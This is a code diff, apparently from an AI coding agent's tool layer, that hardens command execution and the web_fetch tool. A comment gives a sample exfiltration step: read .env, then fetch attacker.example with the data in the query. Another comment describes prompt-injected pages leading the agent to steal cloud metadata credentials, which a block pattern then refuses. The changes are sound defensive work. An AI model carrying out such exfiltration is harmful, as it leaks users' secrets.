settled = true;
|
|
557
|
+
clearTimeout(timer);
|
|
558
|
+
signal?.removeEventListener?.('abort', onAbort);
|
|
559
|
+
// Each stream is cut on its own and the exit code always survives: truncating
|
|
560
|
+
// the joined text cut the exit code off the end of any long output, so the
|
|
561
|
+
// model could not tell whether the command had worked.
|
|
562
|
+
const parts = [];
|
|
563
|
+
const stdout = truncate(out.text().trim(), 40_000);
|
|
564
|
+
const stderr = truncate(err.text().trim(), 16_000);
|
|
565
|
+
if (stdout) parts.push(stdout);
|
|
566
|
+
if (stderr) parts.push(`stderr:\n${stderr}`);
|
|
567
|
+
if (note) parts.push(note);
|
|
568
|
+
parts.push(`exit code: ${code ?? 'none (killed)'}`);
|
|
569
|
+
resolve(parts.join('\n\n'));
|
|
570
|
+
};
|
|
399
571
|
|
|
400
|
-
|
|
401
|
-
|
|
402
|
-
|
|
403
|
-
|
|
572
|
+
// Killing the shell alone left what it started running — on Windows the node or
|
|
573
|
+
// npm grandchild kept the pipes open, `close` never came, and the tool never
|
|
574
|
+
// returned: timeouts did nothing and Esc could not stop a command.
|
|
575
|
+
const stop = (why) => { note = why; killTree(child); setTimeout(() => finish(null), 1500).unref?.(); };
|
|
576
|
+
const timer = setTimeout(() => stop(`[stopped after ${Math.round(timeout / 1000)}s — the time limit for this command]`), timeout);
|
|
577
|
+
const onAbort = () => stop('[stopped by the user]');
|
|
578
|
+
signal?.addEventListener?.('abort', onAbort, { once: true });
|
|
404
579
|
|
|
405
580
|
child.on('error', (e) => {
|
|
581
|
+
if (settled) return;
|
|
582
|
+
settled = true;
|
|
406
583
|
clearTimeout(timer);
|
|
407
584
|
resolve(`Could not run the command: ${e.message}`);
|
|
408
585
|
});
|
|
409
|
-
|
|
410
|
-
|
|
411
|
-
|
|
412
|
-
|
|
413
|
-
|
|
414
|
-
parts.push(`exit code: ${code}`);
|
|
415
|
-
resolve(truncate(parts.join('\n\n')));
|
|
416
|
-
});
|
|
586
|
+
// `exit` is the command finishing; `close` also waits for every process holding
|
|
587
|
+
// its output. A background child can hold that forever — give it a moment, then
|
|
588
|
+
// report what the command itself did.
|
|
589
|
+
child.on('exit', (code) => { setTimeout(() => finish(code), 400).unref?.(); });
|
|
590
|
+
child.on('close', (code) => finish(code));
|
|
417
591
|
});
|
|
418
592
|
},
|
|
419
593
|
},
|
|
@@ -451,7 +625,10 @@ export const TOOLS = [
|
|
|
451
625
|
name: 'web_fetch',
|
|
452
626
|
description:
|
|
453
627
|
'Fetch a web page and return its readable text with scripts, styles and navigation stripped. For documentation, GitHub files (use raw.githubusercontent.com), API references, and any URL that came from web_search. Prefer this over run_command + curl — it is faster and returns clean text.',
|
|
454
|
-
|
|
628
|
+
// Asks, per site ("always" covers that host). Reading never asks and fetching did
|
|
629
|
+
// not either: read .env, then fetch attacker.example/?d=... went through silently.
|
|
630
|
+
needsPermission: true,
|
|
631
|
+
network: true,
|
|
455
632
|
input_schema: {
|
|
456
633
|
type: 'object',
|
|
457
634
|
properties: {
|
|
@@ -461,9 +638,10 @@ export const TOOLS = [
|
|
|
461
638
|
required: ['url'],
|
|
462
639
|
},
|
|
463
640
|
summarise: (i) => `fetch ${String(i.url).slice(0, 80)}`,
|
|
464
|
-
async run(input) {
|
|
641
|
+
async run(input, { signal = null } = {}) {
|
|
465
642
|
const raw = String(input.url || '').trim();
|
|
466
643
|
if (!/^https?:\/\//i.test(raw)) throw new ToolError('Give a full http(s) URL.');
|
|
644
|
+
await refusePrivateTarget(raw);
|
|
467
645
|
const limit = Math.min(Math.max(Number(input.max_chars) || 20_000, 1000), 50_000);
|
|
468
646
|
|
|
469
647
|
const cached = fetchCache.get(raw);
|
|
@@ -480,7 +658,7 @@ export const TOOLS = [
|
|
|
480
658
|
'accept-language': 'en-US,en;q=0.9',
|
|
481
659
|
},
|
|
482
660
|
redirect: 'follow',
|
|
483
|
-
signal: AbortSignal.timeout(20_000),
|
|
661
|
+
signal: signal ? AbortSignal.any([signal, AbortSignal.timeout(20_000)]) : AbortSignal.timeout(20_000),
|
|
484
662
|
});
|
|
485
663
|
} catch (e) {
|
|
486
664
|
throw new ToolError(explainFetchFailure(e, raw));
|
|
@@ -502,11 +680,14 @@ export const TOOLS = [
|
|
|
502
680
|
throw new ToolError(`That URL is ${ctype.split(';')[0]}, not a document. Use read_image for a local image file.`);
|
|
503
681
|
}
|
|
504
682
|
|
|
683
|
+
// Read up to FETCH_MAX_BYTES: res.text() had no limit, so a 20-second download could
|
|
684
|
+
// be hundreds of MB in memory.
|
|
685
|
+
const body = await readCapped(res, FETCH_MAX_BYTES);
|
|
505
686
|
let text;
|
|
506
687
|
if (/json|xml|csv|javascript|text\/plain|markdown/i.test(ctype)) {
|
|
507
|
-
text =
|
|
688
|
+
text = body;
|
|
508
689
|
} else {
|
|
509
|
-
text = readableText(
|
|
690
|
+
text = readableText(body);
|
|
510
691
|
if (!text.trim()) {
|
|
511
692
|
throw new ToolError(
|
|
512
693
|
'The page returned no readable text — it is almost certainly rendered by JavaScript. '
|
|
@@ -691,6 +872,41 @@ export async function readImageForModel(cwd, p) {
|
|
|
691
872
|
return block;
|
|
692
873
|
}
|
|
693
874
|
|
|
875
|
+
const FETCH_MAX_BYTES = 5 * 1024 * 1024;
|
|
876
|
+
|
|
877
|
+
async function readCapped(res, max) {
|
|
878
|
+
if (!res.body?.getReader) return (await res.text()).slice(0, max);
|
|
879
|
+
const reader = res.body.getReader();
|
|
880
|
+
const chunks = [];
|
|
881
|
+
let size = 0;
|
|
882
|
+
for (;;) {
|
|
883
|
+
const { done, value } = await reader.read();
|
|
884
|
+
if (done) break;
|
|
885
|
+
chunks.push(Buffer.from(value));
|
|
886
|
+
size += value.length;
|
|
887
|
+
if (size >= max) { try { await reader.cancel(); } catch { /* closed */ } break; }
|
|
888
|
+
}
|
|
889
|
+
return new TextDecoder('utf-8').decode(Buffer.concat(chunks).subarray(0, max));
|
|
890
|
+
}
|
|
891
|
+
|
|
892
|
+
/**
|
|
893
|
+
* The cloud metadata endpoint and the link-local range: never. A fetched page or file
|
|
894
|
+
* with injected instructions could otherwise have the agent read an instance's
|
|
895
|
+
* credentials (169.254.169.254) and send them on. Localhost and the LAN stay reachable —
|
|
896
|
+
* a dev server is a normal thing to check — and every fetch asks first.
|
|
897
|
+
*/
|
|
898
|
+
async function refusePrivateTarget(raw) {
|
|
899
|
+
let host = '';
|
|
900
|
+
try { host = new URL(raw).hostname.replace(/^\[|\]$/g, ''); } catch { throw new ToolError('That is not a valid URL.'); }
|
|
901
|
+
const bad = (ip) => /^169\.254\./.test(ip) || /^fe80:/i.test(ip) || ip === '100.100.100.200' || /^fd00:ec2::254$/i.test(ip);
|
|
902
|
+
if (bad(host) || /^metadata(\.google\.internal)?$/i.test(host)) throw new ToolError('Cloud metadata and link-local addresses are blocked for web_fetch.');
|
|
903
|
+
try {
|
|
904
|
+
const { lookup } = await import('node:dns/promises');
|
|
905
|
+
const addrs = await lookup(host, { all: true });
|
|
906
|
+
if (addrs.some((a) => bad(a.address))) throw new ToolError('That host resolves to a link-local / metadata address, which is blocked for web_fetch.');
|
|
907
|
+
} catch (e) { if (e instanceof ToolError) throw e; /* a resolution error is reported by fetch itself */ }
|
|
908
|
+
}
|
|
909
|
+
|
|
694
910
|
const BROWSER_HEADERS = {
|
|
695
911
|
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0 Safari/537.36',
|
|
696
912
|
'accept': 'text/html',
|